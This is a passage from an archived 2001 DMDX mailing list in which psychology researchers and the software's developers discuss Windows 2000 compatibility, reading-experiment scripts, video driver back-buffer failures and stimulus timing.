changing something in the control panel. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Thu Nov 22 08:44:27 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id IAA32096 for ; Thu, 22 Nov 2001 08:44:21 -0700 Received: (qmail 29696 invoked from network); 22 Nov 2001 15:44:18 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.21) by breaker.dakotacom.net with SMTP; 22 Nov 2001 15:44:18 -0000 Message-Id: <5.1.0.14.2.20011122084148.009f0630@psy1.psych.arizona.edu> Date: Thu, 22 Nov 2001 08:42:00 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Windows 2000 In-Reply-To: <3BFCE11C.C4ADDFF5@csl.psychol.cam.ac.uk> References: <5.0.0.25.2.20001024123053.009d3ce0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 11:27 AM 11/22/01 +0000, you wrote: >Dear Jonathan, >Most of the documentation for DMDX suggests that it should be run on >Windows 95/98 and this is indeed what we use in our lab. However, for >demonstartion purposes we wish to install the software on some machines >which run only Windows 2000. > >I see from the mailing list that some people do use Windows 2000. So, I >would be grateful to know if, generally speaking DMDX runs OK on Windows >2000. Yep and XP too. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Thu Nov 22 10:06:39 2001 Received: from femail15.sdc1.sfba.home.com (femail15.sdc1.sfba.home.com [24.0.95.142]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA32407 for ; Thu, 22 Nov 2001 10:06:25 -0700 Received: from cc604055-a.darwin.psy.fsu.edu ([65.14.52.189]) by femail15.sdc1.sfba.home.com (InterMail vM.4.01.03.20 201-229-121-120-20010223) with ESMTP id <20011122170623.RYAN28048.femail15.sdc1.sfba.home.com@cc604055-a.darwin.psy.fsu.edu> for ; Thu, 22 Nov 2001 09:06:23 -0800 Message-Id: <5.0.1.4.0.20011122120254.01cfe780@psy.fsu.edu> Date: Thu, 22 Nov 2001 12:05:04 -0500 To: DMDX@psy1.psych.arizona.edu From: ""John P. Kline"" Subject: [DMDX] Re: Windows 2000 In-Reply-To: References: <3BFCE11C.C4ADDFF5@csl.psychol.cam.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I wouldn't run it in Windows 2000 if you're planning to use the PIO 12 for triggering an external device (e.g. for ERPs, for example). I also suspect that audio events will have quite a bit of temporal jitter in Windows 2000. At 11:43 AM 11/22/01 +0000, Nicholas J.S. Gibson wrote: >I've been running it on Win2000 and experienced no problems that I'm aware >of. (I didn't ever try running it on Win95/98 though so I don't have >anything to compare it to.) > >Nicholas Gibson > >-- >Psychology and Religion Research Programme >Faculty of Divinity, University of Cambridge >West Road, Cambridge, CB3 9BS, UK > >phone/fax: +44 1223 763010/763003 >http://www.divinity.cam.ac.uk/pcp/ > > >Today 11:27am, Billi Randall wrote: > > > Dear Jonathan, > > Most of the documentation for DMDX suggests that it should be run on > > Windows 95/98 and this is indeed what we use in our lab. However, for > > demonstartion purposes we wish to install the software on some machines > > which run only Windows 2000. > > > > I see from the mailing list that some people do use Windows 2000. So, I > > would be grateful to know if, generally speaking DMDX runs OK on Windows > > 2000. > > > > Many thanks. > > Billi > > -- > > Billi Randall > > Centre for Speech and Language > > Department of Experimental Psychology > > University of Cambridge > > Downing Street > > Cambridge > > CB2 3EB > > > > Tel: 01223 766 451 > > > > > > ==================================================================== > > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > > 'unsubscribe' by itself with no quotes in the body of the email > > to be removed from the list. The list archive is available here: > > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > > ==================================================================== > > > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== _____________________________________________________________________________ John P. Kline, Ph.D. Phone: 850-644-9363 Assistant Professor Fax: 850-644-7739 Department of Psychology Florida State University Mailto:kline@psy.fsu.edu Tallahassee, FL 32306-1051 http://klinelab.psy.fsu.edu ______________________________________________________________________________ >From DMDX-owner@psy1.psych.arizona.edu Thu Nov 22 11:52:51 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id LAA32696 for ; Thu, 22 Nov 2001 11:52:31 -0700 Received: (qmail 3111 invoked from network); 22 Nov 2001 18:52:28 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.21) by breaker.dakotacom.net with SMTP; 22 Nov 2001 18:52:28 -0000 Message-Id: <5.1.0.14.2.20010101134102.00b20d40@psy1.psych.arizona.edu> Date: Mon, 01 Jan 2001 13:42:01 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Windows 2000 In-Reply-To: <5.0.1.4.0.20011122120254.01cfe780@psy.fsu.edu> References: <3BFCE11C.C4ADDFF5@csl.psychol.cam.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 12:05 PM 11/22/2001 -0500, you wrote: >I wouldn't run it in Windows 2000 if you're planning to use the PIO 12 for >triggering an external device (e.g. for ERPs, for example). I also >suspect that audio events will have quite a bit of temporal jitter in >Windows 2000. Until someone buys the development kit from ComputerBoards the PIO12 is not going to be available under 2k or XP. Audio performance could be better under XP, haven't tested it yet. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Fri Nov 23 09:27:07 2001 Received: from bureau6.utcc.utoronto.ca (bureau6.utcc.utoronto.ca [128.100.132.16]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA02474 for ; Fri, 23 Nov 2001 09:26:26 -0700 Received: from pc15.ling.utoronto.ca ([128.100.214.15] EHLO [128.100.214.15] ident: IDENT-NOT-QUERIED [port 49487]) by bureau6.utcc.utoronto.ca with ESMTP id <238636-20690>; Fri, 23 Nov 2001 11:26:16 -0500 Mime-Version: 1.0 Message-Id: In-Reply-To: <5.1.0.14.2.20011115144641.009e5df0@psy1.psych.arizona.edu> References: <5.1.0.14.2.20011113152239.009e2030@psy1.psych.arizona.edu> <5.1.0.14.2.20011113152239.009e2030@psy1.psych.arizona.edu> <5.1.0.14.2.20011115144641.009e5df0@psy1.psych.arizona.edu> Date: Fri, 23 Nov 2001 11:28:42 -0400 To: DMDX@psy1.psych.arizona.edu From: Tyler Subject: [DMDX] Re: timings and delays Content-Type: multipart/alternative; boundary=""============_-1205593169==_ma============"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list --============_-1205593169==_ma============ Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" Thanks! That worked very well. However, now it goes straight to the first line of the following sentence. I guess one way around this is making the first line a blank like. It's done to give people a break if needed. Is there any code, however, that would accomplish the same goal? And if there is such a code, what is the parameter? >Tyler, >I take it you are running a phrase by phrase reading experiment. >The most important thing is to prevent any feedback using . >Then things go swimmingly, as the enclosed simplified script shows. > --kif > >+1 *""One day at the mall""; >+1 *""Michael was stopped by Hannah""; >+1 *""while""; >+1 *""leaving the store.""; >+1 *""Michael was leaving the store.""; -- Lab-Coordinator of the Psycholinguistics Lab Undergraduate student-rep, University of Toronto, for the CPA Communications co-ordinator for the PSA at UofT --============_-1205593169==_ma============ Content-Type: text/html; charset=""us-ascii"" [DMDX] Re: timings and delays Thanks! That worked very well. However, now it goes straight to the first line of the following sentence. I guess one way around this is making the first line a blank like. It's done to give people a break if needed. Is there any code, however, that would accomplish the same goal? And if there is such a code, what is the parameter? Tyler, I take it you are running a phrase by phrase reading experiment.  The most important thing is to prevent any feedback using .  Then things go swimmingly, as the enclosed simplified script shows.         --kif +1 *""One day at the mall""; +1  *""Michael was stopped by Hannah""; +1  *""while""; +1  *""leaving the store.""; +1  *""Michael was leaving the store.""; -- Lab-Coordinator of the Psycholinguistics Lab Undergraduate student-rep, University of Toronto, for the CPA Communications co-ordinator for the PSA at UofT --============_-1205593169==_ma============-- >From DMDX-owner@psy1.psych.arizona.edu Fri Nov 23 13:02:37 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id NAA03017 for ; Fri, 23 Nov 2001 13:02:05 -0700 Received: (qmail 19501 invoked from network); 23 Nov 2001 20:02:04 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.21) by breaker.dakotacom.net with SMTP; 23 Nov 2001 20:02:04 -0000 Message-Id: <5.1.0.14.2.20011123130116.00b39340@psy1.psych.arizona.edu> Date: Fri, 23 Nov 2001 13:01:59 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: timings and delays In-Reply-To: References: <5.1.0.14.2.20011115144641.009e5df0@psy1.psych.arizona.edu> <5.1.0.14.2.20011113152239.009e2030@psy1.psych.arizona.edu> <5.1.0.14.2.20011113152239.009e2030@psy1.psych.arizona.edu> <5.1.0.14.2.20011115144641.009e5df0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 11:28 AM 11/23/2001 -0400, you wrote: >Thanks! That worked very well. However, now it goes straight to the first >line of the following sentence. I guess one way around this is making the >first line a blank like. It's done to give people a break if needed. > >Is there any code, however, that would accomplish the same goal? And if >there is such a code, what is the parameter? The in the parameter line is what is doing it, remove it and it will wait for a request (usu. the space bar). >>Tyler, >>I take it you are running a phrase by phrase reading experiment. The >>most important thing is to prevent any feedback using . Then things >>go swimmingly, as the enclosed simplified script shows. >> --kif >> >>+1 *""One day at the mall""; >>+1 *""Michael was stopped by Hannah""; >>+1 *""while""; >>+1 *""leaving the store.""; >>+1 *""Michael was leaving the store.""; > > >-- > >Lab-Coordinator of the Psycholinguistics Lab >Undergraduate student-rep, University of Toronto, for the CPA >Communications co-ordinator for the PSA at UofT -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Too often I find that the volume of paper expands to fill the available briefcases. - Governor Jerry Brown >From DMDX-owner@psy1.psych.arizona.edu Sat Nov 24 10:51:49 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA05305 for ; Sat, 24 Nov 2001 10:51:19 -0700 Received: from [66.1.48.98] by deimos.email.Arizona.EDU with HTTP; Sat, 24 Nov 2001 10:51:17 -0700 Date: Sat, 24 Nov 2001 10:51:17 -0700 Message-ID: <3BFBFE54000014EF@deimos.email.Arizona.EDU> In-Reply-To: From: ""Kenneth Forster"" Subject: [DMDX] RE: Re: timings and delays To: DMDX@psy1.psych.arizona.edu MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list >-- Original Message -- >Date: Fri, 23 Nov 2001 11:28:42 -0400 >To: DMDX@psy1.psych.arizona.edu >From: Tyler >Subject: [DMDX] Re: timings and delays >Reply-To: DMDX@psy1.psych.arizona.edu > > >Thanks! That worked very well. However, now it goes straight to the >first line of the following sentence. I guess one way around this is >making the first line a blank like. It's done to give people a break >if needed. > >Is there any code, however, that would accomplish the same goal? And >if there is such a code, what is the parameter? I would leave the in the parameter line, and terminate each sentence with an instruction. For example: +001 *""The sentence""; +002 * ""begins here, ""; +003 * ""and ends here.""; 0 ; Continuous running is designed to keep going until it hits an instruction. Watch out for scrambling. The easiest solution is to use the g parameter. Set this equal to the number of items in the longest sentence, and then pad all the other sentences to make them the same length by adding dummy items, e.g., +001 *""The sentence""; +002 * ""begins here, ""; +003 * ""and ends here.""; 0 c; 0 c; 0 c; 0 ; This assumes that the longest sentence is seven items long, and that g = 7. The c in each instruction tells DMDX to go on to the next item without waiting for a new request. --k.i.f. >From DMDX-owner@psy1.psych.arizona.edu Sat Nov 24 12:39:39 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id MAA05597 for ; Sat, 24 Nov 2001 12:39:26 -0700 Received: (qmail 6589 invoked from network); 24 Nov 2001 19:39:22 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.50) by breaker.dakotacom.net with SMTP; 24 Nov 2001 19:39:22 -0000 Message-Id: <5.1.0.14.2.20011124123727.00b457a0@psy1.psych.arizona.edu> Date: Sat, 24 Nov 2001 12:39:07 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] RE: Re: timings and delays In-Reply-To: <3BFBFE54000014EF@deimos.email.Arizona.EDU> References: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 10:51 AM 11/24/2001 -0700, you wrote: >Watch out for scrambling. The easiest solution is to use the g parameter. > Set this equal to the number of items in the longest sentence, and then >pad all the other sentences to make them the same length by adding dummy >items, e.g., There's a much better solution than that, look at the keyword: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhvariablegroupingkeyword.htm -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Too often I find that the volume of paper expands to fill the available briefcases. - Governor Jerry Brown >From DMDX-owner@psy1.psych.arizona.edu Mon Nov 26 23:27:17 2001 Received: from post.psych.unimelb.edu.au (post.psych.unimelb.edu.au [128.250.173.213]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id XAA12145 for ; Mon, 26 Nov 2001 23:26:37 -0700 Received: from pc172-78.psych.unimelb.edu.au (pc172-78.psych.unimelb.edu.au [128.250.172.78]) by post.psych.unimelb.edu.au (8.9.3/8.9.3) with ESMTP id RAA02408 for ; Tue, 27 Nov 2001 17:26:33 +1100 Message-Id: <5.1.0.14.2.20011127171303.024825f0@post.psych.unimelb.edu.au> Date: Tue, 27 Nov 2001 17:26:29 +1100 To: DMDX@psy1.psych.arizona.edu From: Peter Straffon Subject: [DMDX] V1.3.01 features test Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi, I noticed that 1.3.01 DMDX was available so I decided to try it out and have been having trouble since. I installed it over a working copy of DMDX but some things seem to be no longer working. The ""features"" example will not run and keeps telling me I need to get into the Advanced/Vertical Retrace Sync thread/Antipating the vertical retrace and tune some values. I've done this (more than once) but its not working. It says something about not finding the reg key for Can someone explain what I'm doing wrong or suggest where I should be looking. I have also noticed that the 'joystick' input test is not doing what I expect. I only get one of the 3 buttons to work but it was fine in the old version. If I got to the PIO test I get all 3 buttons working. Now I never tried the PIO test in the past (only use Joystick input so never saw the need) so is this something I'm doing wrong? I'm sure its me, I'm sure I must have missed something but I dont need to loose any more hair :-) Thanks in advance PETEr Peter Straffon p.straffon@psych.unimelb.edu.au School of Behavioural Science Phone +61(3) 83447773 The University Of Melbourne AUSTRALIA. >From DMDX-owner@psy1.psych.arizona.edu Mon Nov 26 23:29:53 2001 Received: from post.psych.unimelb.edu.au (post.psych.unimelb.edu.au [128.250.173.213]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id XAA12161 for ; Mon, 26 Nov 2001 23:29:46 -0700 Received: from pc172-78.psych.unimelb.edu.au (pc172-78.psych.unimelb.edu.au [128.250.172.78]) by post.psych.unimelb.edu.au (8.9.3/8.9.3) with ESMTP id RAA02423 for ; Tue, 27 Nov 2001 17:29:45 +1100 Message-Id: <5.1.0.14.2.20011127172730.04aaecc0@post.psych.unimelb.edu.au> Date: Tue, 27 Nov 2001 17:29:41 +1100 To: DMDX@psy1.psych.arizona.edu From: Peter Straffon Subject: [DMDX] RE: V1.3.01 features test Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list -Put on dumb face - OK, now I have realised that 1.3.01 is old. How I managed to get such an old version I am not sure. I'll try downloading it again and see what is happening but I am still suprised it does not work. I'll get back to the list when I have tried an current version. Sorry PETEr Peter Straffon p.straffon@psych.unimelb.edu.au School of Behavioural Science Phone +61(3) 83447773 The University Of Melbourne AUSTRALIA. >From DMDX-owner@psy1.psych.arizona.edu Tue Nov 27 15:14:04 2001 Received: from cooper.uws.edu.au (cooper.uws.edu.au [137.154.210.65]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id PAA14116 for ; Tue, 27 Nov 2001 15:13:36 -0700 Received: from a9x0c3 ([137.154.102.39]) by cooper.uws.edu.au (8.11.3/8.11.3/UWS-STAFF-1.2) with SMTP id fARMDUj11074 for ; Wed, 28 Nov 2001 09:13:30 +1100 (EST) Message-ID: <002401c17792$3e200160$27669a89@a9x0c3> From: ""Arch Tibben"" To: Subject: [DMDX] vm timing Date: Wed, 28 Nov 2001 09:23:42 +1100 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0021_01C177EE.5F333DC0"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_0021_01C177EE.5F333DC0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi=20 I am running a task with backward masking. The interesting thing is I can get the program to run with a vm 640 480, = 480,160 etc but when I use vm 1024, 768, 768,16,0 the program completes = two complete instructions but then jumps back to the beginning statement = eg 0 ""push spacebar"". It then proceeds to attempt to continue with = instruction 3 to the end which by this time is scrambled. It seems to depend on what vm instructions I insert in the program as to = whether it branches back to the beginning=20 I would really appreciate some guidance here=20 thanking you Arch Tibben=20 ------=_NextPart_000_0021_01C177EE.5F333DC0 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi I am running a task with backward=20 masking. The interesting thing is I can get the = program to=20 run with a vm 640 480, 480,160 etc but when I use vm 1024, 768, = 768,16,0=20 the program completes two complete instructions but then jumps back = to the=20 beginning statement eg  0 ""push spacebar"". It then = proceeds to=20 attempt to continue with instruction 3  to the end which by this = time is=20 scrambled. It seems to depend on what vm = instructions I insert=20 in the program as to whether it branches back to the beginning =   I would really appreciate some guidance = here=20   thanking you Arch Tibben=20 ------=_NextPart_000_0021_01C177EE.5F333DC0-- >From DMDX-owner@psy1.psych.arizona.edu Tue Nov 27 16:06:06 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id QAA14298 for ; Tue, 27 Nov 2001 16:05:59 -0700 Received: from 666-devel.u.arizona.edu (128.196.99.220) by deimos.email.Arizona.EDU (6.0.034) id 3C0326E10001A08D for DMDX@psy1.psych.arizona.edu; Tue, 27 Nov 2001 16:05:58 -0700 Message-Id: <5.1.0.14.2.20011127160332.00b12bc8@psy1.psych.arizona.edu> Date: Tue, 27 Nov 2001 16:06:12 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: vm timing In-Reply-To: <002401c17792$3e200160$27669a89@a9x0c3> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 09:23 AM 11/28/2001 +1100, you wrote: >Hi >I am running a task with backward masking. >The interesting thing is I can get the program to run with a vm 640 480, >480,160 etc but when I use vm 1024, 768, 768,16,0 the program completes >two complete instructions but then jumps back to the beginning statement >eg 0 ""push spacebar"". It then proceeds to attempt to continue with >instruction 3 to the end which by this time is scrambled. >It seems to depend on what vm instructions I insert in the program as to >whether it branches back to the beginning > >I would really appreciate some guidance here Your video card probably doesn't have the memory to handle that video mode. If it does then the drivers are malfunctioning and it's time to see if there are some updates for the video card. If there are no updated drivers then you will have to use the -buffer N command line option to limit the number of back buffers that DMDX uses to something the developers might have tested, like 3 or 2. You can see how many back buffers are being used in the diagnostics after an item file has been run. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ All power corrupts, but we need electricity. >From DMDX-owner@psy1.psych.arizona.edu Wed Nov 28 15:28:33 2001 Received: from cooper.uws.edu.au (cooper.uws.edu.au [137.154.210.65]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id PAA17122 for ; Wed, 28 Nov 2001 15:27:57 -0700 Received: from a9x0c3 ([137.154.102.30]) by cooper.uws.edu.au (8.11.3/8.11.3/UWS-STAFF-1.2) with SMTP id fASMRpj28371 for ; Thu, 29 Nov 2001 09:27:52 +1100 (EST) Message-ID: <003a01c1785d$6adacb60$1e669a89@a9x0c3> From: ""Arch Tibben"" To: References: <5.1.0.14.2.20011127160332.00b12bc8@psy1.psych.arizona.edu> Subject: [DMDX] Re: vm timing Date: Thu, 29 Nov 2001 09:38:34 +1100 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi Jonathan Thanks, I have updated my drivers. Thanks heaps. it works! I have another question though about the buffer command Although I did not need to use it, where in the command line would I put this instruction. I tried to put the instruction in the item file and it came up as an error. is there a chance you can give me an example of accessing the command file with this instruction. My diagnostic suggested that I required 20 buffers?? Kind regards Arch y ----- Original Message ----- From: ""Jonathan C. Forster"" To: Sent: Wednesday, November 28, 2001 10:06 AM Subject: [DMDX] Re: vm timing > At 09:23 AM 11/28/2001 +1100, you wrote: > >Hi > >I am running a task with backward masking. > >The interesting thing is I can get the program to run with a vm 640 480, > >480,160 etc but when I use vm 1024, 768, 768,16,0 the program completes > >two complete instructions but then jumps back to the beginning statement > >eg 0 ""push spacebar"". It then proceeds to attempt to continue with > >instruction 3 to the end which by this time is scrambled. > >It seems to depend on what vm instructions I insert in the program as to > >whether it branches back to the beginning > > > >I would really appreciate some guidance here > > Your video card probably doesn't have the memory to handle that video > mode. If it does then the drivers are malfunctioning and it's time to see > if there are some updates for the video card. If there are no updated > drivers then you will have to use the -buffer N command line option to > limit the number of back buffers that DMDX uses to something the developers > might have tested, like 3 or 2. You can see how many back buffers are > being used in the diagnostics after an item file has been run. > > > -jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > All power corrupts, but we need electricity. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Wed Nov 28 21:22:44 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id VAA17871 for ; Wed, 28 Nov 2001 21:22:31 -0700 Received: (qmail 24014 invoked from network); 29 Nov 2001 04:22:28 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.50) by breaker.dakotacom.net with SMTP; 29 Nov 2001 04:22:28 -0000 Message-Id: <5.1.0.14.2.20011128211611.00b43ff8@psy1.psych.arizona.edu> Date: Wed, 28 Nov 2001 21:22:26 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: vm timing In-Reply-To: <003a01c1785d$6adacb60$1e669a89@a9x0c3> References: <5.1.0.14.2.20011127160332.00b12bc8@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 09:38 AM 11/29/2001 +1100, you wrote: >Hi Jonathan >Thanks, I have updated my drivers. >Thanks heaps. it works! > >I have another question though about the buffer command Although I did not >need to use it, where in the command line would I put this instruction. >I tried to put the instruction in the item file and it came up as an error. Change the target from: C:\\dx2\\DmDX\\dmdx.exe to: C:\\dx2\\DmDX\\dmdx.exe -buffer 4 >is there a chance you can give me an example of accessing the command file >with this instruction. My diagnostic suggested that I required 20 buffers?? It was using 20 buffers. ""Normal"" graphical programs would almost never use more than 2 back buffers so when DMDX comes along and uses up to 24 (24 before I felt I should draw a limit somewhere...) it tends to break new drivers. In the GeForce's case it uses hardware to handle back buffers and it only has enough hardware for 4 back buffers, beyond that the drivers just fall over instead of indicating to DMDX that that's not possible. NVIDIA refuse to address this and I can't say I blame them, adding a whole software back buffer code path just for DMDX is silly -- but it would be nice if they gracefully handled the condition instead of just failing catastrophically. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If the opposite of ""pro"" is ""con"", then what's the opposite of ""progress""? >From DMDX-owner@psy1.psych.arizona.edu Fri Nov 30 05:00:16 2001 Received: from navy.csi.cam.ac.uk (exim@navy.csi.cam.ac.uk [131.111.8.49]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id EAA21508 for ; Fri, 30 Nov 2001 04:59:29 -0700 Received: from csl.psychol.cam.ac.uk ([131.111.177.90]) by navy.csi.cam.ac.uk with esmtp (Exim 3.22 #1) id 169mKG-00021x-00 for DMDX@psy1.psych.arizona.edu; Fri, 30 Nov 2001 11:59:28 +0000 Received: from sneezy (sneezy.psychol.cam.ac.uk [131.111.190.52]) by csl.psychol.cam.ac.uk (8.10.0/8.10.0) with SMTP id fAUBwdx523536 for ; Fri, 30 Nov 2001 11:58:39 GMT Message-Id: <3.0.6.32.20011130115921.0092cae0@csl.psychol.cam.ac.uk> Date: Fri, 30 Nov 2001 11:59:21 +0000 To: DMDX@psy1.psych.arizona.edu From: saamah abdallah Subject: [DMDX] Re: monitoring timing In-Reply-To: <5.1.0.14.2.20011128211611.00b43ff8@psy1.psych.arizona.edu> References: <003a01c1785d$6adacb60$1e669a89@a9x0c3> <5.1.0.14.2.20011127160332.00b12bc8@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I was wondering if anyone can help me with a (hopefully) simple question. I'm setting up an fMRi study with DMDX and, I need to make sure that the timing of the stimuli is exactly spot on. I'm not recording any responses, so I can't use . Can anyone suggest another way more accurate than a stopwatch? Many thanks, sam >From DMDX-owner@psy1.psych.arizona.edu Fri Nov 30 05:24:51 2001 Received: from mailhost.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [192.153.213.178]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id FAA21609 for ; Fri, 30 Nov 2001 05:24:43 -0700 Received: from pc111 by mailhost.mrc-cbu.cam.ac.uk with Sendmail (8.9.3/V3080601); Fri, 30 Nov 2001 12:24:37 GMT Message-Id: <3.0.5.32.20011130122436.018b76c0@pophost.mrc-cbu.cam.ac.uk> Date: Fri, 30 Nov 2001 12:24:36 +0000 To: DMDX@psy1.psych.arizona.edu, saamah abdallah From: Matt Davis Subject: [DMDX] Re: monitoring timing In-Reply-To: <3.0.6.32.20011130115921.0092cae0@csl.psychol.cam.ac.uk> References: <5.1.0.14.2.20011128211611.00b43ff8@psy1.psych.arizona.edu> <003a01c1785d$6adacb60$1e669a89@a9x0c3> <5.1.0.14.2.20011127160332.00b12bc8@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 11:59 30/11/01 +0000, saamah abdallah wrote: >I was wondering if anyone can help me with a (hopefully) simple question. >I'm setting up an fMRi study with DMDX and, I need to make sure that the >timing of the stimuli is exactly spot on. I'm not recording any responses, >so I can't use . Can anyone suggest another way more accurate than a >stopwatch? > >Many thanks, >sam RCOT is the right thing to use for measuring timing. It will be much more accurate than a stopwatch and shouldn't interfere with the running of the script. If you set the time-out to a very low value (e.g. ) then recording a response adds a very minimal overhead, and shouldn't alter the timing of your script. Simply add a * to one frame of each item and you can 